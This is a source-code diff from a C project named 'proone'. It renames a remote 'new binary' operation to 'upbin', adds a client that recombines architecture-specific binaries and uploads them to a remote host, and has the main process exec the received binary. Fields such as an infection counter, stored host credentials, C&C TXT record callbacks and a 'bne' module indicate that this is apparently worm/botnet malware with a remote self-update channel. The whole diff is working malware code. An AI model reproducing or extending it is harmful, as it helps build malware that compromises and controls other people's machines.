-1822,17 +2009,228 @@ static void emit_nybin_opts (void) { emit_mapping_end(); } -static int cmdmain_nybin (void) { +static bool do_mktmpfile (void) { + static const char *FMT_STR = "/tmp/proone-htbtclient.%"PRIdMAX; + bool ret = false; + int f_ret; + char *tmpf = NULL; + const pid_t pid = getpid(); + + f_ret = snprintf(NULL, 0, FMT_STR, (intmax_t)pid); + if (f_ret < 0) { + perror("snprintf()"); + goto END; + } + tmpf = prne_alloc_str((size_t)f_ret); + tmpf[0] = 0; + snprintf(tmpf, (size_t)f_ret + 1, FMT_STR, (intmax_t)pid); + + prog_g.cmd_st.run.fd = open(tmpf, O_CREAT | O_RDWR | O_TRUNC | O_EXCL); + if (prog_g.cmd_st.run.fd < 0) { + goto END; + } + unlink(tmpf); + ret = true; + +END: + prne_free(tmpf); + return ret; +} + +static bool upbin_do_rcb (void) { + bool ret = false; + prne_bin_archive_t ba; + prne_bin_rcb_ctx_t rcb; + const uint8_t *m_nybin = MAP_FAILED, *m_dv, *m_ba; + size_t dv_len, ba_len; + struct stat st; + int fd = -1, err; + prne_pack_rc_t prc; + ssize_t io_ret; + + prne_init_bin_archive(&ba); + prne_init_bin_rcb_ctx(&rcb); + + fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY); + if (fd < 0 || fstat(fd, &st) < 0) { + perror(prog_conf.cmd_param.run.bin_path); + goto END; + } + m_nybin = (const uint8_t*)mmap( + NULL, + st.st_size, + PROT_READ, + MAP_PRIVATE, + fd, + 0); + if (m_nybin == MAP_FAILED) { + perror("mmap()"); + goto END; + } + + if (!prne_index_nybin( + m_nybin, + st.st_size, + &m_dv, + &dv_len, + &m_ba, + &ba_len)) + { + perror("prne_index_nybin"); + goto END; + } + prc = prne_index_bin_archive(m_ba, ba_len, &ba); + if (prc != PRNE_PACK_RC_OK) { + pprc(prc, "prne_index_bin_archive()", NULL); + goto END; + } + prc = prne_start_bin_rcb_compat( + &rcb, + prog_g.cmd_st.run.arch_host, + PRNE_ARCH_NONE, + NULL, + 0, + 0, + m_dv, + dv_len, + &ba, + &prog_g.cmd_st.run.arch_rcb); + if (prc != PRNE_PACK_RC_OK) { + pprc(prc, "prne_start_bin_rcb()", NULL); + goto END; + } + if (prog_g.cmd_st.run.arch_host != prog_g.cmd_st.run.arch_rcb) { + if (!prog_conf.cmd_param.run.compat) { + fprintf( + stderr, + "Compatible arch %s for target %s: not allowed\n", + prne_arch_tostr(prog_g.cmd_st.run.arch_rcb), + prne_arch_tostr(prog_g.cmd_st.run.arch_host)); + goto END; + } + if (prog_conf.prne_vl >= PRNE_VL_WARN) { + fprintf( + stderr, + "Using compatible arch %s for target %s.\n", + prne_arch_tostr(prog_g.cmd_st.run.arch_rcb), + prne_arch_tostr(prog_g.cmd_st.run.arch_host)); + } + } + + if (!do_mktmpfile()) { + goto END; + } + + prne_iobuf_reset(&prog_g.cmd_st.run.ib); + while (true) { + if (prog_g.cmd_st.run.ib.avail > 0 && prc != PRNE_PACK_RC_EOF) { + io_ret = prne_bin_rcb_read( + &rcb, + prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len, + prog_g.cmd_st.run.ib.avail, + &prc, + &err); + if (io_ret < 0) { + pprc(prc, "prne_bin_rcb_read()", &err); + goto END; + } + prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret); + } + + if (prog_g.cmd_st.run.ib.len > 0) { + io_ret = write( + prog_g.cmd_st.run.fd, + prog_g.cmd_st.run.ib.m, + prog_g.cmd_st.run.ib.len); + if (io_ret < 0) { + perror("write()"); + goto END; + } + if (io_ret == 0) { + abort(); + } + + prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret); + } + else if (prc == PRNE_PACK_RC_EOF) { + break; + } + } + + if (lseek(prog_g.cmd_st.run.fd, 0, SEEK_SET) < 0) { + perror("lseek()"); + goto END; + } + ret = true; + +END: + prne_close(fd); + prne_free_bin_archive(&ba); + prne_free_bin_rcb_ctx(&rcb); + if (m_nybin != MAP_FAILED) { + munmap((void*)m_nybin, st.st_size); + } + return ret; +} + +static bool query_arch (void) { + bool ret = false, status; + prne_htbt_host_info_t hi; + + prne_htbt_init_host_info(&hi); + + if (!do_hostinfo(&hi, &prog_g.cmd_st.run.st, &status)) { + goto END; + } + if (status) { + prog_g.cmd_st.run.has_status = true; + pstatus(&prog_g.cmd_st.run.st, "Querying hostinfo"); + goto END; + } + if (!prne_arch_inrange(hi.arch)) { + fprintf(stderr, "Arch out of range: %d\n", hi.arch); + goto END; + } + prog_g.cmd_st.run.arch_host = hi.arch; + ret = true; + +END: + prne_htbt_free_host_info(&hi); + return ret; +} + +static int cmdmain_upbin (void) { uint16_t msgid; msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f); - if (!(do_connect() && run_setup(msgid) && run_recv_status(msgid))) { + if (!do_connect()) { + return 1; + } + switch (prog_conf.cmd_param.run.bin_type) { + case BT_NYBIN: + if (!query_arch() || !upbin_do_rcb()) { + return 1; + } + break; + case BT_EXEC: do_open_bin(); break; + default: abort(); + } + if (!do_ayt()) { + if (prog_conf.prne_vl >= PRNE_VL_WARN) { + fprintf(stderr, "Reconnecting ...\n"); + } + do_disconnect(); + if (!do_connect()) { + return 1; + } + } + if (!(run_setup(msgid) && run_recv_status(msgid))) { return 1; } start_yaml(); - emit_preemble("nybin", "ok", emit_nybin_opts); + emit_preemble("upbin", "ok", emit_upbin_opts); emit_status_frame(&prog_g.cmd_st.run.st); return 0; @@ -1920,10 +2318,8 @@ int main (const int argc, char *const *args) { case SC_HOSTINFO: ec = cmdmain_hostinfo(); break; case SC_HOVER: ec = cmdmain_hover(); break; case SC_RUNCMD: - case SC_RUNBIN: - ec = cmdmain_run(); - break; - case SC_NYBIN: ec = cmdmain_nybin(); break; + case SC_RUNBIN: ec = cmdmain_run(); break; + case SC_UPBIN: ec = cmdmain_upbin(); break; // TODO default: ec = 1; diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index 9134e6e..fdf7c1e 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -43,9 +43,9 @@ typedef struct { static htbthost_param_t htbthost_param; static regex_t re_ns4, re_ns6, re_hc; -static char m_nybin_path[256]; -static char m_nybin_args[1024]; -static size_t m_nybin_args_size; +static char m_upbin_path[256]; +static char m_upbin_args[1024]; +static size_t m_upbin_args_size; static sigset_t ss_all, ss_exit; static struct timespec proc_start; static uint8_t instance_id[16]; @@ -114,7 +114,7 @@ static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) { return true; } -static bool cb_ny_bin ( +static bool cb_upbin ( void *ctx, const char *path, const prne_htbt_cmd_t *cmd) @@ -122,16 +122,16 @@ static bool cb_ny_bin ( const size_t path_len = prne_nstrlen(path); prne_dbgast(path_len > 0); - if (path_len + 1 > sizeof(m_nybin_path) || - cmd->mem_len > sizeof(m_nybin_args)) + if (path_len + 1 > sizeof(m_upbin_path) || + cmd->mem_len > sizeof(m_upbin_args)) { errno = ENOMEM; return false; } - memcpy(m_nybin_path, path, path_len + 1); - memcpy(m_nybin_args, cmd->mem, cmd->mem_len); - m_nybin_args_size = cmd->mem_len; + memcpy(m_upbin_path, path, path_len + 1); + memcpy(m_upbin_args, cmd->mem, cmd->mem_len); + m_upbin_args_size = cmd->mem_len; return pth_raise(main_pth, SIGTERM) != 0; } @@ -332,18 +332,18 @@ END: return ret; } -static void do_run_ny_bin (void) { - for (size_t i = 0; i < m_nybin_args_size; i += 1) { - if (m_nybin_args[i] == 0) { - m_nybin_args[i] = ' '; +static void do_run_upbin (void) { + for (size_t i = 0; i < m_upbin_args_size; i += 1) { + if (m_upbin_args[i] == 0) { + m_upbin_args[i] = ' '; } } - m_nybin_args[m_nybin_args_size - 1] = 0; + m_upbin_args[m_upbin_args_size - 1] = 0; printf( - "ny bin received:\n%s %s\n", - m_nybin_path, - m_nybin_args); + "upbin received:\n%s %s\n", + m_upbin_path, + m_upbin_args); } @@ -495,7 +495,7 @@ int main (const int argc, const char **args) { param.cb_f.cnc_txtrec = cb_txtrec; param.cb_f.hostinfo = cb_hostinfo; param.cb_f.tmpfile = mktmpfile; - param.cb_f.ny_bin = cb_ny_bin; + param.cb_f.upbin = cb_upbin; param.blackhole = open("/dev/null", O_WRONLY); w = wkr_arr + 1; @@ -542,8 +542,8 @@ int main (const int argc, const char **args) { regfree(&re_ns6); prne_free(hostcred); - if (prne_nstrlen(m_nybin_path) > 0) { - do_run_ny_bin(); + if (prne_nstrlen(m_upbin_path) > 0) { + do_run_upbin(); return 3; } diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index e8c0ef8..c3f9934 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -2,6 +2,7 @@ #include "util_rt.h" #include "config.h" #include "dvault.h" +#include "pack.h" #include <string.h> #include <assert.h> @@ -17,11 +18,6 @@ static void test_enum (void); int main (void) { - // prne_arch_t string functions - for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { - assert(i == prne_arch_fstr(prne_arch_tostr(i))); - } - test_ser(); test_enum(); @@ -545,6 +541,10 @@ static void test_ser (void) { } static void test_enum (void) { + for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { + assert(i == prne_arch_fstr(prne_arch_tostr(i))); + } + for (prne_arch_t i = 0; i < NB_PRNE_ARCH; i += 1) { assert(prne_arch_tostr(i) != NULL); } @@ -554,4 +554,7 @@ static void test_enum (void) { for (prne_htbt_op_t i = 0; i < NB_PRNE_HTBT_OP; i += 1) { assert(prne_htbt_op_tostr(i) != NULL); } + for (prne_pack_rc_t i = PRNE_PACK_RC_OK; i < NB_PRNE_PACK_RC; i += 1) { + assert(prne_pack_rc_tostr(i) != NULL); + } } diff --git a/src/proone.c b/src/proone.c index 6eacc33..5fcd706 100644 --- a/src/proone.c +++ b/src/proone.c @@ -184,7 +184,7 @@ static char *cb_htbt_tmpfile (void *ctx, size_t req_size, const mode_t mode) { return ret; } -static bool cb_htbt_nybin ( +static bool cb_htbt_upbin ( void *ctx, const char *path, const prne_htbt_cmd_t *cmd) @@ -192,14 +192,15 @@ static bool cb_htbt_nybin ( const size_t strsize = prne_nstrlen(path) + 1; if (prne_s_g == NULL || - strsize > sizeof(prne_s_g->ny_bin_path) || - cmd->mem_len > sizeof(prne_s_g->ny_bin_args)) + strsize > sizeof(prne_s_g->upbin_path) || + cmd->mem_len > sizeof(prne_s_g->upbin_args)) { errno = ENOMEM; return false; } - memcpy(prne_s_g->ny_bin_path, path, strsize); - memcpy(prne_s_g->ny_bin_args, cmd->mem, cmd->mem_len); + memcpy(prne_s_g->upbin_path, path, strsize); + prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args)); + memcpy(prne_s_g->upbin_args, cmd->mem, cmd->mem_len); pth_raise(prne_g.main_pth, SIGTERM); @@ -224,7 +225,7 @@ static void alloc_htbt (void) { param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec; param.cb_f.hostinfo = cb_htbt_hostinfo; param.cb_f.tmpfile = cb_htbt_tmpfile; - param.cb_f.ny_bin = cb_htbt_nybin; + param.cb_f.upbin = cb_htbt_upbin; param.blackhole = prne_g.blackhole[1]; htbt = prne_alloc_htbt( @@ -1023,7 +1024,7 @@ static bool init_shared_global (void) { /* * 1. Try creating shm, which is the most favourable - * 2. Try creating a file in /tmp, which is memory backed on most env + * 2. Try creating a file in /tmp, which is memory backed on most systems * 3. Try creating a file in current wd * * ... just don't use shared memory if all of these fail @@ -1075,7 +1076,8 @@ static bool init_shared_global (void) { } else { // Session init code goes here - prne_s_g->ny_bin_path[0] = 0; + prne_memzero(prne_s_g->upbin_path, sizeof(prne_s_g->upbin_path)); + prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args)); } END: @@ -1134,86 +1136,6 @@ static void set_host_credential (const char *str) { strlen(str)); } -static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) { - uint8_t buf[4096]; - char *exec = NULL, *ret = NULL; - const char *path; - prne_bin_archive_t ba; - prne_bin_rcb_ctx_t rcb; - const uint8_t *m_dv, *m_ba; - size_t dv_len, ba_len; - prne_pack_rc_t prc; - int fd = -1; - ssize_t f_ret; - size_t path_len; - - prne_init_bin_archive(&ba); - prne_init_bin_rcb_ctx(&rcb); - - if (!prne_index_nybin(m_nybin, nybin_len, &m_dv, &dv_len, &m_ba, &ba_len)) { - goto END; - } - - prc = prne_index_bin_archive(m_ba, ba_len, &ba); - if (prc != PRNE_PACK_RC_OK) { - goto END; - } - prc = prne_start_bin_rcb( - &rcb, - prne_host_arch, - PRNE_ARCH_NONE, - NULL, - 0, - 0, - m_dv, - dv_len, - &ba); - if (prc != PRNE_PACK_RC_OK) { - goto END; - } - - path = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &path_len); - exec = prne_alloc_str(path_len); - if (exec == NULL) { - goto END; - } - strcpy(exec, path); - prne_dvault_reset(); - fd = open( - exec, - O_WRONLY | O_CREAT | O_TRUNC, - 0700); - if (fd < 0) { - goto END; - } - chmod(exec, 0700); - - do { - f_ret = prne_bin_rcb_read(&rcb, buf, sizeof(buf), &prc, NULL); - if (f_ret < 0) { - goto END; - } - if (f_ret > 0 && write(fd, buf, f_ret) != f_ret) { - goto END; - } - } while (prc != PRNE_PACK_RC_EOF); - - ret = exec; - exec = NULL; - -END: - prne_dvault_reset(); - if (exec != NULL && fd > 0) { - unlink(exec); - } - prne_free(exec); - prne_free_bin_archive(&ba); - prne_free_bin_rcb_ctx(&rcb); - prne_close(fd); - - return ret; -} - static void do_exec (const char *exec, char **args) { sigset_t ss, old_ss; bool has_ss; @@ -1236,48 +1158,22 @@ static void do_exec (const char *exec, char **args) { init_shared_global(); } -static void run_ny_bin (void) { - const uint8_t *m_nybin = NULL; - size_t nybin_len = 0; - off_t ofs; - int fd = -1; +static void run_upbin (void) { char **args = NULL; char *add_args[1] = { NULL }; + char *m_args = NULL; - fd = open(prne_s_g->ny_bin_path, O_RDONLY); - unlink(prne_s_g->ny_bin_path); - prne_s_g->ny_bin_path[0] = 0; - if (fd < 0) { - goto END; - } - ofs = lseek(fd, 0, SEEK_END); - if (ofs < 0) { + // copy data from shared global as it will be unmapped before exec() call. + add_args[0] = prne_dup_str(prne_s_g->upbin_path); + m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args)); + if (add_args[0] == NULL || m_args == NULL) { goto END; } - nybin_len = (size_t)ofs; + memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args)); - m_nybin = (const uint8_t*)mmap( - NULL, - nybin_len, - PROT_READ, - MAP_SHARED, - fd, - 0); - close(fd); - fd = -1; - if (m_nybin == MAP_FAILED) { - m_nybin = NULL; - goto END; - } - add_args[0] = do_recombination(m_nybin, nybin_len); - if (add_args[0] == NULL) { - goto END; - } - - add_args[0] = add_args[0]; args = prne_htbt_parse_args( - prne_s_g->ny_bin_args, - sizeof(prne_s_g->ny_bin_args), + m_args, + sizeof(prne_s_g->upbin_args), 1, add_args, NULL, @@ -1285,17 +1181,12 @@ static void run_ny_bin (void) { if (args == NULL) { goto END; } + do_exec(args[0], args); END: - prne_close(fd); - if (m_nybin != NULL) { - munmap((void*)m_nybin, nybin_len); - } - if (add_args[0] != NULL) { - unlink(add_args[0]); - prne_free(add_args[0]); - } + prne_free(add_args[0]); + prne_free(m_args); prne_free(args); } @@ -1368,6 +1259,10 @@ static void deinit_bne (void) { prne_free_bne_param(&bne_param); } +static bool has_upbin (void) { + return prne_s_g != NULL && strlen(prne_s_g->upbin_path) > 0; +} + int main (const int argc, const char **args) { static int exit_code; @@ -1451,7 +1346,6 @@ int main (const int argc, const char **args) { static int status, caught_signal; static pid_t f_ret; static sigset_t ss; - static bool has_ny_bin; prne_dbgpf("* Child: %d\n", prne_g.child_pid); @@ -1477,8 +1371,6 @@ WAIT_LOOP: } if (prne_s_g != NULL) { - has_ny_bin = strlen(prne_s_g->ny_bin_path) > 0; - if (!(WIFEXITED(status) && WEXITSTATUS(status) == 0)) { prne_s_g->crash_cnt += 1; } @@ -1490,12 +1382,13 @@ WAIT_LOOP: prne_g.child_pid, WEXITSTATUS(status)); if (WEXITSTATUS(status) == 0) { - if (has_ny_bin) { + if (has_upbin()) { prne_dbgpf( - "* Detected new bin. " - "Attempting to exec()\n"); - run_ny_bin(); - // run_ny_bin() returns if fails + "* Detected new bin: %s\n" + "Attempting to exec()\n", + prne_s_g->upbin_path); + run_upbin(); + // run_upbin() returns if fails } else { break; @@ -1509,9 +1402,9 @@ WAIT_LOOP: WTERMSIG(status)); } - if (has_ny_bin) { - unlink(prne_s_g->ny_bin_path); - prne_s_g->ny_bin_path[0] = 0; + if (has_upbin()) { + unlink(prne_s_g->upbin_path); + prne_s_g->upbin_path[0] = 0; } sleep(1); diff --git a/src/proone.h b/src/proone.h index 073996b..5b73185 100644 --- a/src/proone.h +++ b/src/proone.h @@ -71,8 +71,8 @@ struct prne_shared_global { // Number of successful infections. uint64_t infect_cnt; // null-terminated path to the new binary image - char ny_bin_path[256]; - char ny_bin_args[1024]; + char upbin_path[256]; + char upbin_args[1024]; size_t host_cred_len; uint8_t host_cred_data[255]; }; diff --git a/src/protocol.c b/src/protocol.c index cc1fc0d..143e906 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -120,11 +120,10 @@ const char *prne_htbt_op_tostr (const prne_htbt_op_t x) { case PRNE_HTBT_OP_HOVER: return "hover"; case PRNE_HTBT_OP_SOLICIT: return "solicit"; case PRNE_HTBT_OP_RUN_CMD: return "runcmd"; - case PRNE_HTBT_OP_NY_BIN: return "nybin"; + case PRNE_HTBT_OP_UP_BIN: return "upbin"; case PRNE_HTBT_OP_RUN_BIN: return "runbin"; case PRNE_HTBT_OP_STDIO: return "stdio"; - case PRNE_HTBT_OP_GET_BIN: return "getbin"; - case PRNE_HTBT_OP_BIN: return "bin"; + case PRNE_HTBT_OP_RCB: return "rcb"; } return NULL; } diff --git a/src/protocol.h b/src/protocol.h index 24f4fa3..4e12396 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -149,7 +149,7 @@ typedef enum { * char args[args_len] * uint8_t bin[bin_len] */ - PRNE_HTBT_OP_NY_BIN, + PRNE_HTBT_OP_UP_BIN, /* Run Binary Operation * TODO * @@ -171,21 +171,14 @@ typedef enum { * uint12_t len */ PRNE_HTBT_OP_STDIO, - /* Binary Retrieval Operation + /* Binary Recombination Operation * TODO * * uint8_t arch - * uint8_t rsv + * uint1_t compat : allow fallback to compatible arch + * uint7_t rsv */ - PRNE_HTBT_OP_GET_BIN, - /* Binary Frame - * TODO - * - * uint1_t fin - * uint3_t rsv - * uint12_t len - */ - PRNE_HTBT_OP_BIN, + PRNE_HTBT_OP_RCB, NB_PRNE_HTBT_OP } prne_htbt_op_t; @@ -202,11 +195,7 @@ typedef enum { * Followed by int32_t which represents the errno set during the operation. */ PRNE_HTBT_STATUS_ERRNO, - /* Operation temporary unavailable. Try again later. - * When another authority is holding the resource. - * An int32_t that follows is not used. - */ - PRNE_HTBT_STATUS_AGAIN, + PRNE_HTBT_STATUS_SUB, PRNE_HTBT_STATUS_TIMEDOUT, PRNE_HTBT_STATUS_LIMIT, @@ -307,8 +296,8 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( /* PRNE_HTBT_PROTO_MIN_BUF * -* Minimum size of buffer required to implement parsing of stream. Set to size -* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN. +* Minimum size of buffer required to implement parsing of stream. This is the +* size required to deserialise PRNE_HTBT_OP_UP_BIN and PRNE_HTBT_OP_RUN_BIN. */ #define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX) /* PRNE_HTBT_PROTO_SUB_MIN_BUF |